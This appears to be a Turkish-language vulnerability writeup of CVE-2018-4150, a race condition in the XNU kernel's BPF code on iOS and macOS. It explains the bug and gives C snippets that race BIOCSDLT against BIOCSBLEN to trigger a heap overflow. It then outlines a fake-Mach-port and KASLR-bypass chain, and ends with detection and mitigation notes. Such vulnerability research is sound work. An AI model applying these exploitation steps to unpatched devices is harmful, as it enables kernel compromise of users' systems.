Skip to content

bpf-filter-poc (CVE-2018-4150)

XNU'nun BPF subsystem'inde BIOCSDLT ve BIOCSBLEN ioctl'leri arasındaki bir race condition, backing buffer'ı reallocate etmeden kaydedilen buffer length'inin artırılmasına olanak tanır; bu, iOS/macOS'ta kernel code execution için exploit edilebilen linear bir heap overflow verir.

Mechanism

Note

XNU kernel'inin Berkeley Packet Filter implementasyonu (bpf.c), boyutu BIOCSBLEN ioctl'i ile kontrol edilen per-interface capture buffer'larını yönetir. Ayrı bir ioctl olan BIOCSDLT, bir BPF descriptor'ına bağlı data-link type'ını değiştirir. İki path state'i paylaşır ama düzgün synchronize edilmemiştir.

Exploit edilebilir invariant: BIOCSBLEN, saklanan buffer-length field'ını artırır; buna karşı eşzamanlı çalışan BIOCSDLT (DLT'yi değiştiren), düzgün locking olmadan yürütülebildiği için length artışının backing buffer reallocate edilmeden commit edilmesine izin verir; bu da kernel'in gerçek heap allocation'ını aşan bir length kaydetmesine yol açar. Sonraki packet reception, data'yı (artık şişmiş) kaydedilen length'e kadar kopyalar, allocate edilen buffer'ın sonunun ötesine ve komşu heap metadata'sına ya da objelerine linear olarak yazar.

Bug, @cmwdotme'a (Chris Wade / Corellium) atfedildi ve CVE-2018-4150 atandı. 11.3 öncesi iOS'u, 10.13.4 öncesi macOS'u, 11.3 öncesi tvOS'u ve 4.3 öncesi watchOS'u etkiler. Herkese açık PoC (littlelailo / Jailbreaks) eksiktir ve SMAP olmayan cihazları hedefler.

Walkthrough

Step 1 – BPF device'ı aç ve interface'i attach et

int bpf_fd = open("/dev/bpf0", O_RDWR);

// BIOCSETIF attaches a network interface to the descriptor
struct ifreq ifr;
strncpy(ifr.ifr_name, "en0", IFNAMSIZ);
ioctl(bpf_fd, BIOCSETIF, &ifr);

// BIOCIMMEDIATE: deliver packets as they arrive
int one = 1;
ioctl(bpf_fd, BIOCIMMEDIATE, &one);

Step 2 – Başlangıç buffer length'ini ayarla

u_int buf_len = 4096;
ioctl(bpf_fd, BIOCSBLEN, &buf_len);
// Kernel allocates a 4096-byte heap buffer; records length = 4096

Step 3 – BIOCSDLT'yi BIOCSBLEN'e karşı yarıştır

// Thread A: repeatedly switch DLT (triggers length recalculation)
while (racing) {
    ioctl(bpf_fd, BIOCSDLT, &dlt_val);
}

// Thread B: concurrently increase buffer length
while (racing) {
    u_int new_len = 65536;
    ioctl(bpf_fd, BIOCSBLEN, &new_len);
}
// Win condition: kernel records length=65536 but retains 4096-byte allocation

Step 4 – Packet reception ile overflow'u tetikle

// Send a raw IP packet sized to overflow the undersized buffer
// Kernel copies up to the recorded (large) length → heap overflow
send_rip_packet(raw_sock, payload, sizeof(payload));

Overflow, BPF buffer'ının ötesine, heap'teki sonraki bir out-of-line (OOL) ports array'ine yazar ve user space'te sahte bir Mach port'una bir pointer enjekte eder.

Step 5 – Fake Mach port → KASLR defeat → kernel task port

Receive OOL ports message → obtain send right to fake Mach port
Convert fake port to clock port → clock_sleep_trap() brute-forces kernel image pointer
Scan backwards from leaked pointer to locate kernel text base (breaks KASLR)
Convert fake port to fake task port → pid_for_task() enables arbitrary kernel reads

Warning

Herkese açık yayınlanan PoC, tam bir sahte kernel task port'u inşa etmeden önce durur. Araştırmacılar, yukarıdaki primitive'ler yerinde olduğunda kalan adımın "straightforward" olduğunu not eder, ama herkese açık tam bir exploit yayınlanmamıştır.

Detection

  • Aynı file descriptor'dan sıkı bir loop içinde gelen eşzamanlı BIOCSDLT + BIOCSBLEN ioctl dizileri, meşru packet-capture uygulamaları için anormaldir.
  • bpf_setdlt ya da bpf_allocbufs stackframe'lerine atıfta bulunan kernel crash report'ları, exploitation girişimlerine işaret eder.

Mitigation

  • Apple, CVE-2018-4150'yi iOS 11.3 / macOS 10.13.4'te, BPF buffer-length güncellemeleri etrafına düzgün locking ekleyerek patch'ledi; böylece DLT değişiklikleri ve length modifikasyonları serialize edilir.
  • /dev/bpf*'i root'a ya da com.apple.security.network.packet-filter entitlement'ına (iOS'ta zorlandığı gibi) sınırlamak, sandbox'lı process'ler için attack surface'i tamamen kaldırır.

References